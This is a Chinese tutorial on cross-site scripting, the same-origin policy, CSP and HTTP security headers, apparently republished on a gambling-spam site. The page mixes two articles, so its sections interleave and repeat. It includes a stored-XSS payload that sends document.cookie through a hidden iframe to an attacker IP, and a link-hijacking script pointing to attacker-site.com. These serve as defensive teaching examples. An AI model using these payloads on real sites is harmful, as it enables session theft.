金沙棋牌官方平台

当前位置:金沙棋牌 > 金沙棋牌官方平台 > 【金沙棋牌官方平台】跨站脚本攻击,的网站都

【金沙棋牌官方平台】跨站脚本攻击,的网站都

来源:http://www.logblo.com 作者:金沙棋牌 时间:2019-11-20 14:29

关于 Web 安全,99% 的网站都忽略了这些

2016/11/16 · 基础技术 · 安全

原文出处: 野狗   

金沙棋牌官方平台 1

Web安全是一个如何强调都不为过的事情,我们发现国内的众多网站都没有实现全站https,对于其他安全策略的实践更是很少,本文的目的并非讨论安全和攻击的细节,而是从策略的角度引发对安全的思考和重视。

随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。

1. 数据通道安全

http协议下的网络连接都是基于明文的,信息很有可能被泄露篡改,甚至用户都不知道通信的对方是否就是自己希望连接的服务器。因此,信息通道安全有以下两个目标:

  • 身份认证
  • 数据不被泄漏和篡改

幸运的是https解决了上述问题的(更多关于https的细节可以看下上一篇干货扒一扒https网站的内幕)。理论上https是安全的,即使如此,https依然应该被重视,因为理论上理论和实践是一样的,但实践中又是另外一回事。前段时间爆发的心血漏洞就是一个例子。

什么是 XSS

金沙棋牌官方平台,XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS 涉及到三方,即攻击者、客户端与Web应用。XSS 的攻击目标是为了盗取存储在客户端的 cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。

总之,XSS 能做用户使用浏览器能做的一切事情。包括获取用户的 cookie 等重要隐私信息的操作。另外,同源策略无法保证不受 XSS 攻击,因为此时攻击者就在同源之内。

2. 浏览器安全

https解决了点到点的安全问题和身份认证问题,接下来会出现问题的地方就只有2个:浏览器和服务器,这个层面上的安全问题并没有https一样的银弹可以一次性解决。

XSS 工作原理

XSS 通常可以分为两大类:

  • 客户端型
  • 服务端型

无论是哪一种 XSS,其目前主要的手段和目的如下:

  • 盗用 cookie,获取敏感信息。
  • 利用植入 Flash,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击者)- 用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次 XSS。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现 DDoS 攻击的效果

2.1 origin 源

了解浏览器安全,有一个概念特别重要,那就是源(origin) 什么是源呢?

  • 相同的HOST
  • 相同的协议
  • 相同的端口

举栗子:

  • https//www.wilddog.com和http//www.wilddog.com非同源,因为协议不同。
  • http//wilddog.com和http//www.wilddog.com非同源,因为域名不同。
  • http//wilddog.com和http//wilddog.com:8080非同源,因为端口不同。

源这个概念为甚这么重要,这要从同源策略说起。

客户端型 xss 攻击

客户端型 xss 攻击是一次性的,仅对当次的页面访问产生影响。客户端型 xss 攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

假设有以下 index.php 页面:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
?>

该页面显示两行信息:

从 URI 获取 'name' 参数,并在页面显示
显示跳转到一条 URL 的链接
这时,当攻击者给出以下 URL 链接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,将产生以下 html 代码,带'attacked'的告警提示框弹出:

Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

除了插入 alert 代码,攻击者还可以通过以下 URL 实现修改链接的目的:

index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>

当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。

2.2 同源策略

同源策略限制了一个源(origin)中加载文本或脚本与来自其它源(origin)中资源的交互方式。简单的说就是一个源的页面上的js只能访问当前源的资源,不能访问其他源的资源。那么资源是什么呢?

  • DOM
  • 通过AJAX请求的网络资源
  • Cookie
  • WebStorage,webSql

很显然,同源策略以源为单位,把资源天然分隔,保护了用户的信息安全。

同源策略是一堵墙,然而墙并非不透风。有很多方法可以绕过同源策略让javascript访问其他源的资源。比如:

  • JSONP:基于iframe的方法(iframe+window.name iframe+window.domain iframe+webMessage)
  • CORS:我认为只有CORS是”正当的”绕过同源策略的方法 同源策略是浏览器安全策略的基础,但同源策略面对很多攻击是无能为力的,比如XSS

服务端型 XSS 攻击

服务端型的 XSS 攻击与客户端型的运行原理类似, 其本质上是注入攻击。区别在于服务端型的恶意代码可以复用,并且不需要引诱用户点击某个连接。

还记得之前浏览器同源策略的知识吗?
浏览器的同源策略虽然对 ajax 请求做了限制,现代浏览器对于某些 xss 代码也做了过滤。但是,对于服务端返回的嵌入式资源的跨域交互是允许的!

黑客将将恶意代码通过某个操作,写入被攻击服务器的数据库中,接着在某个数据列表展示页面中通过嵌入 js 代码,迫使用户的浏览器执行恶意 javascript 代码来达到 XSS 攻击的目的。
就像下面这样:

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

2.3 XSS (Cross-Site Script)

跨站脚本攻击,名字跟同源策略很像,事实上他们之间基本没有关系。跨站脚本攻击本质上是一种注入攻击(有兴趣了解更多注入攻击可以看Injection Theory)。其原理,简单的说就是利用各种手段把恶意代码添加到网页中,并让受害者执行这段脚本。XSS的例子只要百度一下有很多。XSS能做用户使用浏览器能做的一切事情。可以看到同源策略无法保证不受XSS攻击,因为此时攻击者就在同源之内。

金沙棋牌官方平台 2

XSS攻击从攻击的方式可以分为:

  • 反射型
  • 存储型
  • 文档型

这种分类方式有些过时,长久以来,人们认为XSS分类有以上三种,但实际情况中经常无法区分,所以更明确的分类方式可以分为以下两类:

  • client(客户端型)
  • server(服务端型)

当一端XSS代码是在服务端被插入的,那么这就是服务端型XSS,同理,如果代码在客户端插入,就是客户端型XSS。

如何避免 XSS 攻击

  • 对于任何用户输入的信息,入库之前都要进行转义。
  • 使用浏览器自带的 xss filter
    现代浏览器都对反射型 xss 有一定的防御力,其原理是检查 url 和 dom 中元素的相关性。但这并不能完全防止反射型 xss。另外,浏览器对于存储型 xss 并没有抵抗力,原因很简单,用户的需求是多种多样的。所以,抵御 xss这件事情不能指望浏览器。
  • CSP(Content Security Policy)
    从原理上说防止xss是很简单的一件事,但实际中,业务代码非常多样和复杂,漏洞还是会出现。 CSP 并不是用来防止 xss 攻击的,但可以最小化xss发生后所造成的伤害。事实上,除了开发者自己做好 xss 转义,并没有别的方法可以防止 xss 的发生。CSP 可以说是 html5 给 web 安全带来的最实惠的东西。

综上所述,CSP 的作用是限制一个页面的行为是否是受 javascript 控制的。那么如何引入 CSP 呢?
假设现在需要完成一个只允许脚本从本源加载资源的设置,则有两种方式。

通过response头
Content-Security-Policy: script-src ‘self’
通过HTML的META标签
<meta http-equiv=”Content-Security-Policy” content=”script-src ‘self'”>
CSP 策略常用限制功能

base-uri : 限制这篇文档的uri  
child-src :限制子窗口的源(iframe,弹窗等),取代frame-src  
connect-src :限制脚本可以访问的源  
font-src : 限制字体的源  
form-action : 限制表单能够提交到的源  
frame-ancestors : 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载  
frame-src :deprecated with child-src,限制了当前页面可以加载哪些源,与frame-ancestors对应 
img-src : 限制图片可以从哪些源加载  
media-src : 限制video, audio, source, track 能够从哪些源加载  
object-src :限制插件可以从哪些源加载  
sandbox :强制打开沙盒模式

CSP 是一个强大的策略,几乎可以限制所有能够用到的资源的来源。使用好 CSP可以很大程度降低 XSS 带来的风险
CSP 目前有两版,CSP1 和CSP2, 两版的支持状态可以在 http://caniuse.com/#search=csp 中查到。

  • Http-Only
    使用 http-only 保护 cookie。可以保证即使发生了 xss,用户的 cookie 也是安全的。使用 http-only 保护的 cookie 是不会被 javascript 读写的。所以无论是客户端还是服务端的 XSS 攻击,都无法通过 js 获取到用户的 cookie 信息。

2.4 防止XSS攻击–转义

无论是服务端型还是客户端型XSS,攻击达成需要两个条件:

  • 代码被注入
  • 代码被执行

其实只要做好无论任何情况下保证代码不被执行就能完全杜绝XSS攻击。详情可以看下XSS (Cross Site Scripting) Prevention Cheat Sheet这篇文章。这里简单说下结论:任何时候都不要把不受信任的数据直接插入到dom中的任何位置,一定要做转义。

2.4.1 对于某些位置,不受信任的数据做转义就可以保证安全:

  • div body的内部html
  • 一般的标签属性值

2.4.2 对于某些位置,即使做了转义依然不安全:

  • <script>中
  • 注释中
  • 表签的属性名名
  • 标签名
  • css标签中

2.4.3 使用JSON.parse 而不是eval,request 的content-type要指定是Content-Type: application/json;

2.4.4 如果链接的URL中部分是动态生成的,一定要做转义。

总结

XSS 与 CSRF 攻击都是属于高危攻击手段。即使是在现代浏览器、同源策略以及 html5 的强大防线下,他们依然能够对 web 应用产生巨大的危害。
在开发 web 应用时,应该合理利用 http-only、CSP 策略、以及用户输入信息转义,能够将 XSS 与 CSRF 的风险降到最低。

2.5 HTML 转义

金沙棋牌官方平台 3

参考链接
  • 避免 SQL 注入, by wuyuanwei
  • Web 攻击与防护, by liuwulin
  • 浏览器的同源策略
  • 总结 XSS 与 CSRF 两种跨站攻击
  • XSS 攻击入门
  • 关于Web安全,99%的网站都忽略了这些, by wilddog
  • 预防跨站点请求伪造:了解浏览器选项卡中的隐藏危险
  • CSRF 攻击的应对之道

2.6 使用浏览器自带的 XSS-filter

金沙棋牌官方平台 4

现代浏览器都对反射型XSS有一定的防御力,其原理是检查url和dom中元素的相关性。但这并不能完全防止反射型XSS。另外,浏览器对于存储型XSS并没有抵抗力,原因很简单,用户的需求是多种多样的。所以,抵御XSS这件事情不能指望浏览器。

可以通过http头控制是否打开XSS-filter,当然默认是打开的.X-XSS-Protection

2.7 CSP(Content Security Policy)

从原理上说防止XSS是很简单的一件事,但实际中,业务代码非常多样和复杂,漏洞还是时不时会出现。CSP并不是用来防止XSS攻击的,而是最小化XSS发生后所造成的伤害。事实上,除了开发者自己做好XSS转义,并没有别的方法可以防止XSS的发生。CSP可以说是html5给Web安全带来的最实惠的东西。CSP的作用是限制一个页面的行为不论是否是javacript控制的。

如何引入CSP呢?

金沙棋牌官方平台 5

2.7.1 通过response头

//只允许脚本从本源加载Content-Security-Policy: script-src 'self'

1
//只允许脚本从本源加载Content-Security-Policy: script-src 'self'

2.7.2 通过html的meta标签

//作用同上<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

1
//作用同上<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

那么CSP除了限制script-src之外还能限制什么呢?

  • base-uri: 限制这篇文档的uri;
  • child-src: 限制子窗口的源(iframe、弹窗等),取代frame-src;
  • connect-src: 限制脚本可以访问的源;
  • font-src: 限制字体的源;
  • form-action: 限制表单能够提交到的源;
  • frame-ancestors: 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载;
  • frame-src: deprecated with child-src,限制了当前页面可以加载哪些源,与frame-ancestors对应;
  • img-src: 限制图片可以从哪些源加载;
  • media-src: 限制video,audio, source,track能够从哪些源加载;
  • object-src: 限制插件可以从哪些源加载;
  • sandbox: 强制打开沙盒模式;

可以看出,CSP是一个强大的策略,几乎可以限制了所有能够用到的资源的来源。使用好CSP可以很大成都降低XSS带来的风险。另外,CSP还提供一个报告的头Content-Security-Policy-Report-Only,使用这个头浏览器向服务器报告CSP状态,细节先不讨论。

Content-Security-Policy-Report-Only:script-src'self'; report-uri/csp-report-endpoint/

1
2
Content-Security-Policy-Report-Only:script-src'self';
                              report-uri/csp-report-endpoint/

CSP 目前有两版:CSP1和CSP2。

两版的支持状态可以在中查到。

CSP1:

金沙棋牌官方平台 6

CSP2:

金沙棋牌官方平台 7

2.8 X-Frame-Options

这是response头,现在正在使用,但以后可以被CSP的frame-ancestors取代。目前支持的状态比起CSP frame-ancestors要好,使用的方式:

  • X-Frame-Options:DENY//这个页面不允许被以frame的方式加载
  • X-Frame-Options:SAMEORIGIN//这个页面只允许同源页面加载
  • X-Frame-Options:<uri> //这个页面只能被特定的域加载

2.9 Http-Only

使用Http-only保护cookie,可以保证即使发生了XSS,用户的cookie也是安全的。使用Http-only保护的cookie是不会被javascript读写的。

2.10 iframe沙箱环境

虽然有同源策略,iframe的问题还是有很多的,比如各种利用iframe进行跨源。HTML5为iframe提供了安全属性sandbox,如果使用此属性,iframe的能力将会被限制,细节我们将会在以后的文章中详细讨论。

2.11 其他安全相关的HTTP头

X-Content-Type-Options阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类型嗅探攻击。

HPKP(Public Key Pinning)Public Key Pinning是一个response头,用来检测一个证书的公钥是否发生了改变,防止中间人攻击。

HSTS (HTTP Strict-Transport-Security) 强制使用TSL作为数据通道,在扒一扒HTTPS网站的内幕中也有详细介绍。

说了这么多我们看以下一些各个网站实现的情况:

金沙棋牌官方平台 8

谷歌是行业的标杆,在互联网无出其右,学习Google就对了!

金沙棋牌官方平台 9

我们野狗的官网同样也实现了几个重要的http头。

金沙棋牌官方平台 10

百度做的就比较差了,一家如此大规模的互联网公司,对于安全,对于技术如此不敏感,只能说是很悲哀,充分说明中国互联网企业对安全的重视是非常低的!值得注意的是,百度的http到https的跳转居然是服务端做的。

我们再来看下行业笑话12306。

金沙棋牌官方平台 11

3. HTML5 对 Web 安全的影响

HTML5带来了很多新的特性,让浏览器和javascript获得了更大的能力。然而能力越大,被攻破后的危险就越大。

HTML5对XSS的影响主要体现在:

更大的攻击面,HTML5带来来更多的标签和更多的属性,XSS发生的可能性更大。更大的危害,HTML5更多的资源可以被XSS利用。黑客可以利用浏览器的一切权限,比如本地存储,GEO,WebSocket,Webworker。

遗憾的是HTML并没有针止XSS和XSRF带来系统性解决方案。在这个前提下,CSP变得非常重要,可以大大降低XSS后的危害。

HTML5时代实际对开发者提出来更高的要求,因为有更多的交互,更多的前端行为,HTML5有更多的API。希望共勉,不做蒙古大夫,与广大的开发者一同提高中国互联网的用户体验!

4. references

  • 安全相关的HTTP头
  • 同源策略
  • CSP
  • HPKP
  • w3c iframe element
  • MDN web security
  • XSS cheet sheet
  • 野狗科技官网

    1 赞 10 收藏 评论

金沙棋牌官方平台 12

本文由金沙棋牌发布于金沙棋牌官方平台,转载请注明出处:【金沙棋牌官方平台】跨站脚本攻击,的网站都

关键词:

上一篇:实例对比,变量让你轻松制作响应式网页

下一篇:没有了